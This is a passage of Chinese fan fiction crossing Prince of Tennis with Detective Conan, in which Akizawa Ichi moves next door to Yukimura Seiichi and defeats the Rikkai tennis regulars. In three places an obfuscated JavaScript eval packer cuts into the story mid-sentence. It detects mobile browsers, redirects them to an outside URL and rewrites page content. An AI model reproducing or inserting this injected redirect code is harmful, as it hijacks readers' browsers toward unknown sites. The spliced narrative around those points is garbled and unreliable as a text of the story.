宫野志保将门关上,没管门外凑到一起嘀嘀咕咕的五个警察,无奈地耸耸肩。 算了,该怎么养一个不想让他们管的孩子这件事,还是交给这群警察们头疼去吧。 * 神奈川。 秋沢栎婉拒了宫野明美帮忙收拾东西的想法,在她一步三回头的不舍视线里将人送走之后,才懒洋洋地往沙发上一摊。 “自由了——” “说得跟你之前不自由一样。” 黑猫凭空出现,将那本‘书’叼到一旁,拿爪子拍了拍他的脸:“先收拾东西,那些箱子可还堆在门口呢,日用品什么的也要重新买吧,还有,你不是要重新设计屋内的系统吗?” 你这个年纪,怎么睡得着觉的??? 起床干活! 秋沢栎挪了一下身子:“你也要来帮忙啊。” 黑猫有些无语:“我是一只猫,我能做什么?” “啧。” 秋沢栎不情不愿地爬了起来,垂眼刚巧看见手机屏幕亮了一瞬。 发信人是幸村精市。 [阿栎,今天有时间吗?我去找你吧。] ……等等。 秋沢栎顿了顿,突然想起来还没跟他坦白自己已经擅自报了立海大并且已经在学校附近定居的事,脸上懒散的表情瞬间裂开,变幻为凝重。 因为幸村精市一直不大赞同他自己一个人来到这所无亲无故的陌生城市,他先前也一直将这件事压在心里,准备潜移默化中给他灌输自己的想法,然后先斩后奏,等到生米煮成熟饭之后再坦白。 但这段时间立海大重新开始训练了,幸村精市忙于网球部的事很少发消息,他又在收拾东西,便一直将这件事遗忘在脑后。 “完了。”他喃喃道:“我怎么回复他啊。” 跟他说哈喽你不用去东京了我来神奈川了……?这种一点预防针也不打的话他一定会生气的吧。 在这半年的时间内已经基本上摸清了幸村精市脾气的秋沢栎面色凝重地看了手机好一会,然后决绝地……将手机推到了黑猫面前。 “你替我回。”他严肃道:“给我想一个绝对不会挨骂的借口。” 黑猫:…… 它撅了撅屁股,扭头跳出了房间,咬着门口的杂物将它们拖了进来,并伸出了尖锐的爪唰唰唰地开始拆快递。 秋沢栎:…… 怎么,回复一条消息有这么恐怖吗? 他哼了一声按亮手机。 十分钟后。 他痛苦地闭上了眼,按灭了屏幕,将黑猫拖了回来:“你回消息,我去收拾东西。” 黑猫奋力挣扎:“我收拾东西,你回。” 秋沢栎按住它:“你回,你是猫,他生气了我就说是猫打的字。” 黑猫大声喵喵叫:“你回,你是人,你怎么能让猫背这么大锅?” 秋沢栎:“你回。” 黑猫:“你回。” 他们拉扯了好一会也没有结果,但是屏幕那头的幸村精市反倒等不及了,他又发来了一条短信:[在忙吗?] 秋沢栎这下子不敢不回了,他怕幸村精市真跑到东京扑了个空,就纠纠结结地打出了一行字:[抱歉抱歉,今天有点事出门了,下次再约吧。] 幸村精市回复地很快:[是吗?那下次再说吧……听说东京那边开了一家新的甜品店,味道很不错,本来想约你去试试呢。] 秋沢栎良心更痛了,他捂着心口挣扎了一会,才回复道:[那真是太遗憾了……] 是啊,真是太遗憾了。 幸村精市放下了手机,叹了口气。 柳莲二敏锐地察觉了好友的不对劲,他转过视线,担忧地问道:“怎么了吗?” 幸村精市摇了摇头,笑了笑:“没事,只不过邀请没有发出去呢。” 丸井文太从一旁探出了个脑袋,对着仁王雅治挤眉弄眼了好一会才小心地问道:“幸村,你问我要东京的甜品店地址就是为了……?” 幸村精市更想叹气了:“是,想邀请人去试试味道……不过有些可惜呢。” 前世加上今生的相处,他自然很清楚秋沢栎对于口味上没什么偏好但是独独喜欢甜食的习惯,于是找了丸井文太要了很多家甜品店的地址。 他先前因为立海大网球部开始训练,身为部长又要处理部内事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551595|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务的原因,已经有段时间没和自家未来恋人见面了,难得有了一天的空闲,结果对方还碰巧没什么时间…… 幸村精市又叹了口气。 他沉浸在自己的思绪里,自然没发现他的队友们互相交换了很多个眼神。 丸井文太眼睛一亮:果然有情况。 柳莲二神色淡定,但内心不平:我居然没有挖到任何情报…… 仁王雅治:puri,真是好奇呢,参谋,你再努力一下呢? 真田弦一郎:太松懈了!! 幸村精市自半年前开始,平时看手机的频率增多了,脸上的笑容也增多了,放假时能约出来的成功率也变低了,大家一直在猜测他是不是有什么情况。 但是连柳莲二都没有成功挖出来对方的情报,大家再怎么好奇也只是忍耐下去,挑战幸村精市的底线这件事,连真田弦一郎都不会做。 幸村精市压了压眉心,按捺下烦躁的心情,站起了身:“大家先解散吧,明天记得按时来训练。以及开学季要到了,负责新生招生的务必组织好纪律。” “是!” 出了校门之后,大家四散而去,因为柳莲二、真田弦一郎与幸村精市三人的家在同一个方向,所以他们自然结伴而行。 走在路上,柳莲二忍了又忍,还是没忍住自己对于情报的渴望:“精市,你这半年来频繁来往东京,就是为了……?” 身为朝夕相伴的队友,他自然很清楚幸村精市的动向,比起去年一成不变的路径,那一沓厚厚的车票便足以证明了一切。 他也不是没有好奇过,但可惜,秋沢栎的反侦查能力高的离谱,每次他的跟踪都无功而返,到现在他只能得出幸村精市见面的对象是个和他们差不多大的少年这一条情报。 幸村精市忍笑道:“我还以为你之前就会问了呢。” 照他理解的柳莲二的性格,在对方一次又一次没有挖出来情报无功而返的时候就应该按捺不住了才对,秋沢栎带着他绕路避开柳莲二时他自然有察觉,不过是想看老队友的热闹才没阻拦而已。 柳莲二不会承认一直没问出口是因为自己的胜负欲在作祟,他已经默默跟素未谋面的秋沢栎对上了,致力于用自己的能力挖出来他的情报。 可惜,他失败了。 幸村精市一眼就从他隐约有些僵硬的表情里看出来了他的想法,热闹看够了,他终于大发慈悲地为队友揭开了答案:“嗯……文太猜的不错哦。” 他当然知道自家队友都是什么性格,也知道自己毫不掩饰的动作在他们眼里会被解读成什么样。 柳莲二思绪断片了一下,他想了想丸井文太私下里说过的猜测:“幸村不会是在追那个神秘人吧?” 柳莲二:? 真田弦一郎显然也想起来了,他扶着帽子的手一顿,有些怀疑自己的耳朵:“什么?” 幸村精市笑眯眯的,轻描淡写地扔下一个大雷:“对哦,我在追求他。” 柳莲二/真田弦一郎:??????? 幸村精市看着二人的表情缓慢破裂,脸上的笑容更盛,正准备再多说两句话刺激自家好友们的时候,一转头,正好对上了一双熟悉的、灰蓝色的眼。 幸村精市:? 等等。 刚刚好像有个什么东西过去了? 他刚扬起来的笑容瞬间僵在了脸上,眼一沉,语气颇为咬牙切齿地喊住想逃跑的少年。 “秋、沢、栎!!!!” 偷溜出来买配件结果和正主撞了个正着逃跑不及时还被认出来的秋沢栎:…… 完了。 5. 第 5 章 “秋、沢、栎!!” 被喊到名字的少年安详地闭上了眼。 他刚刚在家里和猫将堆在房门外的东西收拾好,简单看了一眼需要补充的东西,就记了个清单准备去附近的超市采购。 甚至为了防止偶然撞上在学校内训练的幸村精市,他还特地换了一家与立海大所在的方向完全相反的超市。 这本来应该是天衣无缝的计策,但他到底初来乍到人生地不熟的,有几件东西在超市里还没有卖的,便抱着“应该不会遇见他吧”的侥幸心理,听从了售货员的推荐,又七拐八拐的拐回了立海大附近。 事实证明,人怕什么就会来什么。 秋沢栎挪开视线,强撑着自己的气势,朝幸村精市打了声招呼:“啊……精市,好巧啊……” 幸村精市目光像刀刃一样扫了他一眼,又看向了他手中的购物袋。半透明的袋子没有系上,从开口处能隐约看见其中的洗发水、沐浴露等日用品,满满当当装了一大袋子。 既然这样,那他出现在这里的可能性就只剩了一个。 幸村精市这次是真有点气笑了。 “巧吗?阿栎。”他越生气,脸上的笑容就越大:“能告诉我本来应该直升帝丹中学的你,为什么会出现在立海大附近吗?” 秋沢栎:…… 帝丹? 柳莲二捕捉到了关键信息,看向垂着脑袋看着有些可怜兮兮的少年,将脑海中的信息串联起来。 帝丹是在东京,精市这段时间非常爱往东京跑,他去东京见的是一个和他们差不多大的少年,并且在追……这个不重要。 他恍然大悟:原来就是这个人啊。 就是这个人反侦查能力强到离谱,屡次甩掉他的追踪吗? 幸村精市不管背后的好友已经猜到了来人的身份并抄起笔记本开始狂补数据,他只是抱着胳膊,温柔地笑着:“阿栎,你没什么想说的吗?” 秋沢栎偷偷抬起脑袋看了他一眼,又迅速低下头去,诚恳地道歉:“对不起……本来想给你一个惊喜来着……” 结果这下子只有惊没有喜了。 幸村精市压了压眉心,目光瞥过眼里疯狂闪着八卦之心的好友,叹了口气:“你等我一下。” 他转过身,朝柳莲二和真田弦一郎打了声招呼:“抱歉,莲二,弦一郎,你们先回去吧。” 他要处理一些家务事(?) 柳莲二点了点头,迅速拽着真田弦一郎消失在了幸村精市的视线里。黑发的少年被拽了一个踉跄,还没反应过来就被好友按在一旁的草丛里,缓慢地打出了一个:? 柳莲二义正言辞:“我们先替精市把把关。” 绝对不是因为好奇心。 真田弦一郎:…… 但是你脸上已经写满了想看热闹这四个字。 他欲言又止了片刻,还是没言出来。 算了,他也想知道自家幼驯染喜欢的人是什么样子的。 * 另一边,幸村精市仍然抱着胳膊与秋沢栎对视。 也不对,应该说是他在看着秋沢栎,但是少年明显有些心虚,一直在避开他的视线。 幸村精市盯着他好一会,突然接走了他手里的一个购物袋,转身朝着前面走去:“先带我去你住的地方吧,我们慢慢说。” 他一垂眼就看见了秋沢栎手心里被购物袋勒出的几道红痕,到底没忍心继续生气。 或者说,他在看见秋沢栎出现在他面前时,就有了一种“果然如此”的感觉。 十一岁的他与二十四岁的他在性格上堪称天差地别,但是深刻于骨子里的东西是没法轻易改变的——比如,秋沢栎惯来都是我行我素到极致,从不会因为别人的想法而改变自己的行动。 二十五岁的幸村精市是唯一一个能影响他做决定的人,但是十二岁的幸村精市暂时还没有办法干涉他。估计他当时在将这件事糊弄了过去时,就已经下定了主意,做好了后续一系列的准备了吧。 唉。 不过,虽然如此,幸村精市也不得不承认,在看见秋沢栎的那一瞬间,他的感情压过了理智,浮现出来的心情是惊喜大于惊讶的。 毕竟无论怎么说,谁不想要和喜欢的人更加贴近一些呢?不管是物理距离上还是感情距离上,都是一样的。 秋沢栎偷偷瞥了幸村精市一眼,看见他的脸色不知为何好了很多的时候才终于松了口气,快步走上去与他肩并肩:“本来应该提前跟你说的,但是你最近好像很忙……” 虽然他也很忙吧。 但是幸村精市听着他这个下意识带了点委屈的语气,还是又心软了:“抱歉,这段时间立海大开始训练了,我身为部长,要处理的事有些多。” 秋沢栎眨了眨眼,假借系鞋带的名义将手里另一个较轻的购物袋也递到他手上,而后拎走了他手里更重的那袋:“网球部吗?” 幸村精市:“对……不过,阿栎,你确实要来立海大上学吗?这里和东京可是有一段距离的。” 秋沢栎知道他在担心自己离开了亲朋好友会不适应,便无所谓地耸了耸肩:“不要担心啦,毕竟我没……”我没亲没朋没好友。 说到一半,他猛然想起来自己在他面前伪装的人设,话音猛得一拐:“我没关系的,我不恋家。” 幸村精市狐疑地看了他一眼。 秋沢栎面不改色:“到了。” 幸村精市被转移了话题,收回视线,抬起头来,面前是一栋很寻常的双层宅邸,门口的牌子上还什么也没挂,透过铁栏杆门向内看去,只能看见院子里整整齐齐地堆了一堆拆开的箱子。 ……不过这里好像有些眼熟啊。 他转过头去,果不其然在隔壁看见了熟悉的名牌。 幸村宅。 幸村精市:…… 他默了默,问道:“原来阿栎就是那个新邻居吗?” 他早上出门前还听见他妈妈说要烤一些小饼干去拜访一下新邻居呢,这下好了。 秋沢栎没拿钥匙,正在疯狂call屋里看电视的猫给他开门,闻言疑惑地转过头去:“嗯?” 他顺着幸村精市的视线看去,也看见了那个熟悉的名牌,不自觉地顿了顿:“我不知道欸……” 宫野明美帮忙买房子的时候没让他参与,直到一切敲定之后才带着他来到这里,没想到世界上有这么巧的事。 幸村精市笑道:“那就请多多指教了,新邻居。” 秋沢栎弯了弯眼:“请多多指教。” 这时,门吱呀一声打开了,移动的钥匙翘着尾巴回去了,只留给他们一个背影。 但不知道是不是错觉,幸村精市好像看见那只黑猫非常人性化的朝着秋沢栎翻了个白眼。 秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551596|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沢栎全然不在乎,他将东西暂时放在门口的箱子堆上,朝幸村精市挥了挥手:“请进——” 屋内是宫野明美按照秋沢栎给的设计图找人重新装修的内饰,比起传统的日式风格来说颇具现代风,看着更显加整洁明亮。 黑猫自觉让出了大沙发,往一旁的小豆袋沙发里一歪睡觉去了,秋沢栎给幸村精市倒了杯水,而后从冰箱里摸出来了一盒糕点。 “抱歉,刚搬来没什么东西能招待的。” 幸村精市摇了摇头:“不用在意,你已经收拾好了吗?需要我帮忙吗?” 秋沢栎想了想:“都收拾好了,没什么了。” “已经拿到立海大的入学通知书了吗?” “当然,不会有问题的。” 幸村精市笑道,切入主题:“那么,有想加入的社团吗?” 秋沢栎眨了眨眼:“精市不是在网球部吗?我想,你应该不会拒绝我的。” 幸村精市笑容更大了:“那我就期待着了,阿栎。” 秋沢栎彻底放下心,看来幸村精市不再生他的气了。 “不过……” 秋沢栎又提起了心,谨慎地问道:“不过……?” 幸村精市吊足了他的胃口,看他脸上的表情从轻松到凝重到严肃到茫然之后才缓缓开口:“不过,加入网球部可没这么简单哦。” 秋沢栎提起一口气:“什么?” “毕竟我们可是强校呢。”幸村精市一本正经地忽悠他:“能上场的人选也就只有几个哦,阿栎想和我并肩作战吗?” 秋沢栎神情更严肃了:“那我应该做什么?” 幸村精市转了个圈子终于兜入正题,他笑道:“明天来一趟网球部,和我的队友们比一场吧。” 秋沢栎的实力从他们这辈子第一次见面时便已经初露端倪,能在Jr大会十八岁以下的组别中以十一岁的年龄拿到冠军的天赋定然极佳,这一点在幸村精市后来与他比赛时得到了肯定。 十二岁的幸村精市虽然五维远不及二十五岁的他,但在整个国中届也算得上顶尖中的顶尖,不然也不会在刚升入初中的第一年就被冠以神之子的称号。可即使如此,秋沢栎也能在一开始就与他打得不相上下,甚至势均力敌。 这一发现让他很是心惊。 他不知道自家恋人有这个天赋为什么后来彻底放弃了网球转而学医,甚至在与他同床共枕六年期间都从未发觉过他有过这样的一段经历。 但不管未来可能会发生什么,在这一刻,哪怕是私心占据上风,幸村精市也想和他并肩站在同一片赛场之上。 所以,他向秋沢栎发出了邀请。 既是邀请他加入网球部,在未来的这几年里与他并肩拿下这份被念念不忘很久的荣誉,也顺便邀请他去揍一下亲爱的队友们,让他们知道天外有天人外有人,别在两年后被不知名的青学削成那副惨样。 更别天天盯着他八卦了! 远在天边的柳莲二/真田弦一郎/丸井文太/杰克桑原/仁王雅治:阿嚏! “没问题。” 幸村精市已经提出来了,秋沢栎自然没有拒绝的道理,他爽朗地答应。 他的网球袋就随手放在了沙发上,一伸胳膊就能摸到,少年从中摸出自己的球拍,唇角扬起笑意:“放心吧,交给我了。” 不就是比赛吗?他擅长。 6. 第 6 章 第二天清晨。 因为杰克桑原请假而难得晚到了一会的丸井文太,在刚走入立海大的时候就察觉到了一丝不对劲。 他站在网球部门口,哼着小歌,正在盘算训练结束后去哪家甜品店时毫无防备的抬起了左脚——一股凉意窜上后背,让他不自觉地打了个寒颤,迅速向后撤走八百里地。 “这、这是一种什么样的感觉……” 红发少年警惕地四处张望了一下,左左右右,但并没有看见有什么异样的地方。 网球场还是那个网球场,白色的球网还是他昨天整理好的那样,成筐的黄色小球搁置在一旁,数量上……好像少了一点? 不确定,再看看。 “好像没什么不对劲的地方啊……” 丸井文太一边嘀咕着,但为了谨慎起见他还是选择了走另一个门进入。 这次,他小心谨慎地抬起了右脚,这次又是一股凉意直冲大脑,他的第六感在大脑里绘制出了两个字正朝他摇旗呐喊——快跑! 丸井文太咻地收回了自己的右脚。 他有一种今天一旦迈进这个球场就一定会倒大霉的预感,这种预感驱使着他的求生欲发挥作用,正在疯狂叫嚣着让他远离是非之地。丸井文太决定相信自己一次,摸出了手机,试图给幸村精市发消息请假。 但信息还没发出去,他就感觉到了后背传来了一阵轻柔的推力,将他一把推进了球场。 完了。 他战战巍巍地抬起头,然后痛苦地闭上了眼。 “文太,怎么不进去?” 仁王雅治甩了甩自己的小辫子,推开挡路的丸井文太,有些奇怪地问道:“快迟到了吧,小心真田罚你,puri……” 丸井文太一动不动。 仁王雅治觉得有些不对:“怎么了?” 红发的少年咽了咽口水,目光扫过不远处笑得灿烂的幸村精市、转着自己球拍的陌生少年,而后落到了他们对面满头大汗、形容狼狈的柳莲二和真田弦一郎身上,语气飘了又飘:“……我觉得,他今天应该罚不了我们了。” 仁王雅治:? 白毛狐狸探出一个脑袋,扫视了一圈球场上的惨状,毫不犹豫地转身就走。 这时,一道宛若恶魔一样的声音叫住了他。 “雅治,文太,你们来了。” 幸村精市微微一笑:“正好,莲二和弦一郎输了,你们来补上。” 站在他身旁的陌生少年歪了歪脑袋,朝他们露出了一个和善的笑容。 仁王雅治/丸井文太:…… * 片刻后,地上的尸体又多了两座。 秋沢栎面不改色地绕过地上的‘尸体们’,将一瓶未开封的水递给幸村精市,顺手拿起干净的毛巾擦了擦脸,难得用赞赏的语气评价道:“他们的实力都还算不错。” 不愧是蝉联了十四届关东大赛冠军的强校,正选成员们无论单拎出来哪一个实力都算得上不错。 坐在一旁的幸村精市听见这话,反倒摇了摇头:“还差得远呢。” 立海大的王者地位是用绝对的实力来维持的,而为了保持这种实力,他们的训练量在全国的学校中都是顶尖。 再加上他们这两届天才频出,正选们绝佳的天赋与极高的训练强度相交叠,才让这支队伍在通往冠军的道路上顺顺利利地走了两年。 但这还不够。 还不够啊。 幸村精市有些烦恼地握了握手,叹了口气。他只要想到两年后那个横空出世、将他们的骄傲彻底碾碎的青学,就不自觉地产生焦躁的心理—— 重生回来,他不能再一次丢掉立海大的十六连霸和三连冠了,最起码、最起码要在他明年因为生病倒下之前将他的队友们推向顶点,以保证到时候哪怕他不在现场,他们也能拿下胜利。 这种焦躁迫使着他做出改变,于是,不只是他自己的训练量逐步增强增强再增强,连带着与他共同站在赛场上的队友们也都感觉到了他那迫切到近乎恐慌的心情与日渐严厉的风格。 “阿栎,再和我打一场吧。”幸村精市将未开封的水放到一旁,径直伸向自己的球拍:“你的体力应该……” 但没摸到,因为一双带着凉意的手按住了他。 幸村精市愣了一下,抬头看去,对上了一双灰蓝色的、满是严肃的眼睛。 “不能继续了,你要休息。” 秋沢栎强势地将他按在椅子上,将那瓶水拧开之后塞到他手里:“你的训练量太大了,精市,这样下去身体会受不了的。” 因为家住隔壁的缘故,他一早就和幸村精市一起出了门,在亲眼见证了后者早早来到网球部、在完成了一组训练又和队友们打了两场比赛之后,终于对他到底为什么会因为忙于训练而不怎么给他发消息这件事有了真切实意的感觉。 但是,面对尚且稚嫩的身体时,这种拔苗助长似的倒灌只会导向不妙的结果。 幸村精市顿了顿:“不,我……” “至少在这时候先听我的吧。”秋沢栎打断了他。 真田弦一郎擦了把汗,皱着眉头说道:“幸村,你先休息一下。” 终于缓上了一口气的柳莲二站在一旁,也用不赞同地眼神看着他:“对,精市,你最近把自己逼得太紧了。” 柳莲二不明白这半年里幸村精市身上发生了什么,他只能看见在立海大拿下第一年的全国大赛冠军之后,幸村精市就像变了一个人,好似背后有什么东西在追逐着他一般。 但无论他和真田弦一郎怎么询问,也没能好友那得知一点缘由。 幸村精市同样是个我行我素的性格,或者说,也许天才都有这种通病,稳固的、不会被人影响的内核才是致使他们走向成功的基石。 他看了一眼目露担忧的队友们,又看了一眼神情严肃的秋沢栎,感受了一下那双搭在他手臂上的、带着点凉意的手掌,最后还是妥协了:“那我休息一下。” 虽然他并没有觉得哪里不舒服,毕竟既身为运动员,又因为曾经生过病的缘故,他对于自己的身体情况还是很了解的,现在远不到自身的极限。 但他还是接受了朋友们的好意。 秋沢栎这才收回了手,从包里摸出另一块干净的毛巾塞到幸村精市手里:“好好休息哦。” 幸村精市朝他眨了眨眼:“也辛苦你了。” 秋沢栎摆了摆手,拎起来自己的球拍,目光扫过闷在地上cos尸体的丸井文太和仁王雅治,又瞥了一眼还没喘过气的柳莲二,最后落到一旁状态最好的真田弦一郎身上,露出了一个笑容。 真田弦一郎扶着帽子的手一僵,一股不好的预感攀附上脊背:“怎么了?” “再来比一场吧。” 还没入学的六年级毕业生拿球拍压了压肩膀,慢吞吞地朝他未来的‘前辈’邀战:“虽然打不了双打了,但是单打我还是没问题的。” 真田弦一郎:…… 柳莲二:…… 刚想抬起头来看一眼的丸井文太听见这句话后,迅速趴回仁王雅治身旁继续装死。 幸村精市喝了口手里的水,笑眯眯地说道:“哎呀,真有活力呢。” * 真田弦一郎沉默着上了场。 柳莲二坐在幸村精市身旁,一边拿着笔记本唰唰唰地记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551597|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着秋沢栎的数据,一边状似超不经意地询问身旁的好友:“他的体力储备这么充足吗?” 幸村精市抱着胳膊,边走神边应了一声:“阿栎精通弓道。” 他记得发现秋沢栎这个天赋是因为一次难得的争吵,对方愤愤地离家出走,然后在弓道馆射了三十多个小时的箭。 他们吵架的原因具体是什么,幸村精市现在已经不想回忆了,但秋沢栎泄愤一样的将自己泡在弓道馆内两天一夜最后馆主打电话给他求着他把人领走的画面倒仍然记忆尤新。 虽然这是二十四岁的秋沢栎做的事,但如今十一岁的他最起码也能完成一半,再加上弓道本身对于个人的要求就不低,只是与如今尚且稚嫩的队友们打几场比赛而已,还远不到极限。 “弓道……?”柳莲二若有所思地点了点笔:“怪不得,他的精准度与控球力都很强。” 那颗黄色的小球行走在他的拍线之间,像乖巧的玩具一样任人摆布,随着主人的想法做出各种各样的变化,主打一个想怎么玩就怎么玩。 不过,对于习惯了直来直去的真田弦一郎来说,这种不知道会从哪个犄角旮里跳出来一颗球,然后猛得给他一下的感觉真是糟透了。 越打,黑发少年的脸色就越沉重。 “完全被戏弄了啊,真田。” 丸井文太见人上场比赛了,也不装死了,脑袋上顶着张毛巾,故作深沉地摇了摇头:“哎,幸村,你从哪找来的这么厉害的选手?哪个学校的?去年的全国大赛上没见过啊。” 在遇上看起来和自己差不多大,且比自己实力强的选手时,人会下意识将他划为自己的同辈或者前辈。 幸村精市知道这件事,但他并没有反驳,只是用手指抵着唇,笑道:“当然没见过,他没有参加去年的全国大赛。” 站在一旁的仁王雅治眉毛一挑:“嗯?这种实力还坐冷板凳,不会是青学的吧?” 托真田弦一郎对手冢国光那份深切执念的福,远在东京的青学那套古板的前后辈制度在立海大里人人皆知。 幸村精市笑容更深了:“不是哦,但他之前确实是东京的。” 不过,马上就是他们立海大的了。 只要一想到这件事,他的心情就会变好很多。 丸井文太摸了摸下巴,思考道:“东京……?东京的学校倒是挺多的,不过他既然没有参加全国大赛,那就不太好猜了呢……” 柳莲二看不下去了,他压了压眉心,在幸村精市默许的眼神下给他们二人揭晓了答案:“他比我们小一届,文太,如果顺利的话,过段时间,他会成为我们的后辈。” 丸井文太:……? 红发少年炸毛一样的后退了好几步,不可置信地说道:“啊??他比我们要小一届吗?” “是哦。”幸村精市微微一笑:“不过居然没人能打过一个还没入学的后辈……我觉得大家现在都有些太松懈了呢。” 仁王雅治肩膀垮了下去,吐槽道:“部长,这种实力的后辈放在全国都很少有人是对手吧……” 就别为难他们了好吗? 幸村精市笑而不语。 柳莲二见状轻咳了一声,主动开口说道:“我明白了,我会调整大家的训练菜单的。” 丸井文太:…… 仁王雅治:…… 刚下场的真田弦一郎:…… 啊? 不是,部长/幸村,想给我们加训也不用找这么一个借口吧???? 刚下场的秋沢栎:0v0? 幸村精市:^ ^ 怎么会呢。 毕竟他给大家加训一般不找借口的。 7. 第 7 章 时间像是握在手里的沙,只要稍稍一紧,就会哗啦啦地从掌心溜走,不过一眨眼的功夫,立海大就即将敲响新学期的铃声。 在这段时间里,随着物理距离的贴近,秋沢栎与立海大的队员们逐步建立起了深厚的战友情——指他自己站在球网的一端,其他人站在球网的另一端,他们之间产生了一场又一场的战斗。 不过,虽然秋沢栎还没有正式入学,但所有人都默认了这个小了他们一届的后辈会是未来的网球部成员,便也在三巨头的纵容下带着他训练,连幸村精市安排给大家的加训他都没有逃过。 或者说,他也不觉得自己有逃的必要。 立海大的这点训练量,放在他身上来说只能算洒洒水的程度。 “辛苦了。” 结束了今天的最后一场比赛,幸村精市淡定地跨过地上的‘尸体’,将一瓶水递到秋沢栎手中。 站在球网对面的少年掀起衣服,随意地抹了一把汗之后才接过水,甩了甩已经及肩的白发,一屁股坐在了一旁的休息椅上。 幸村精市瞥了一眼他过长的白发,一边叮嘱他记得运动过后小口喝水,一边从包里摸出了头绳,绕到他的背后。 二十四岁的秋沢栎不怎么喜欢经常打理头发,不到头发长到要影响他的行动绝不出门,省下来的时间更喜欢贴在他身上。幸村精市倒也纵容他,到后来都会随身携带头绳,以避免他需要时找不到。 如今,这个习惯也自然而然地被带回来了。 幸村精市没发现秋沢栎在感受到了停驻在背后的热源之后,不动声色地绷紧了脊背。对于他这种常年练习体术的人来说,将后背暴露给别人是极为危险的动作。 但那份警醒的信息还没传递给大脑,身体就在熟悉的气息之间放松下来。他一边老老实实地捏着塑料瓶一口一口地抿,一边露出脆弱的后颈,任由幸村精市帮忙整理脖颈后的碎发。 幸村精市手指挑起一缕白发绕了绕:“头发长长了很多呢,要剪掉吗?” 秋沢栎想了想,说道:“嗯,太长了会影响行动,晚点训练结束之后去找个理发店吧。” 正好顺路回去解决了,不然他就要自己动剪刀给自己修了。 当然,如果他真的亲自下手了,可能会获得一个好似被狗啃过的脑袋,这有辱他在幸村精市面前的形象。 后者全然不知他的想法,只能捏着那簇发尾,手灵巧地绕了个圈,带有弹性的皮筋就随之将多余的碎发束起,圈出了一个小揪揪。 幸村精市看着自己的杰作,满意地点了点头,习惯性地捏了一下他脖颈后的软肉之后才笑道:“好了,等下我陪你去吧,这边的路我还是挺熟悉的。” 能不熟悉吗?前世加今生,他在这里生活了很多年了呢。 秋沢栎被捏的一激灵,下意识就要蹦起来,但在察觉到动手的人是谁之后,又重新瘫回椅子上,像一只露出柔软腹部的猫安详地躺在那里,摆出一份任人蹂躏的姿态。 “好。”他甩了甩头,脑袋后的小揪揪也跟着他的动作摇晃了一下:“果然还是太长了,修剪一下会更好。” 二人的动作过于熟稔,完全没察觉到一旁的仁王雅治投来了若有所思的视线。 白毛狐狸戳了戳一旁没上场比赛而是在场边收集数据的柳莲二,后者笔一顿,从中感觉到了莫名的不对劲。 片刻后,立海大正选成员孤立了部长幸村精市,建立了一个单独的群聊。 仁王雅治:[他们之间好像有些不对劲啊……] 丸井文太:[有些太不对劲了啊!!] 真田弦一郎:[?] 柳莲二:[弦一郎,我记得之前他们是完全不认识的吧。] 柳莲二说的是幸村精市和秋沢栎。 真田弦一郎点头,以幼驯染的身份担保他们认识时间确实还不到一年,幸村精市之前的生活里从来没有出现过这个人。 但向来一根筋到底的他完全没意会到同伴们的想法,只能直接问柳莲二到底发生了什么。 柳莲二瞥了一眼几乎要贴到一起的两人,若有所思地说道:[弦一郎,你不觉得他们之间有些熟悉过头了吗?] 他指的不是那种浅薄于表面的熟悉,而是在相处中不自觉透露出来的熟稔,像是常年生活在同一屋檐下、日日夜夜面对面时才能培养出来的松弛。 幸村精市太过于熟悉秋沢栎的一举一动了,熟悉到后者抬抬手他就能立刻意识到对方的行动,那些下意识的小习惯几乎都可以在他身上得到回应。 这绝对不会是刚认识不到一年的朋友能有的默契。 真的很奇怪。 柳莲二转了转笔,思维逐渐发散出去。 他知道幸村精市是一个很有分寸感的人,哪怕先前曾经和他们说过要追人这一类的话,但在尚未彻底确定之前,无论是保持自己的底线,还是保证他人的舒适,他都不可能主动亲近到这种地步。 这绝对不是在这么一点时间内能培养出来的。 而且…… 他的目光又转向了秋沢栎。 经过这段时间的相处,柳莲二已经可以对秋沢栎所表现出来的特性下一个基础的判断了。 他看得出来这其实是一个待人颇为冷淡的少年,那双灰蓝色的眼里几乎从来没有倒影出过除了幸村精市以外的其他人的身影。 或者说,如果不是因为有幸村精市这一座桥搭在他们之间,柳莲二甚至觉得他连给他们一个眼神都欠奉。 这种人对于社交的边界感同样是极高的,在与人交往时也会不自觉地保持一定的距离。 但从柳莲二刚见到他起就发现了,秋沢栎不但从来没有排斥过幸村精市的亲近,甚至在后者不知是有意还是无意地潜移默化里,他的身体比意识更先习惯了另一个人的存在。 从走在路上相隔两肩,到现在像一些女同学一样,无论做什么都恨不得手挽手,大概是连上个厕所都要黏在一起的程度—— 等等。 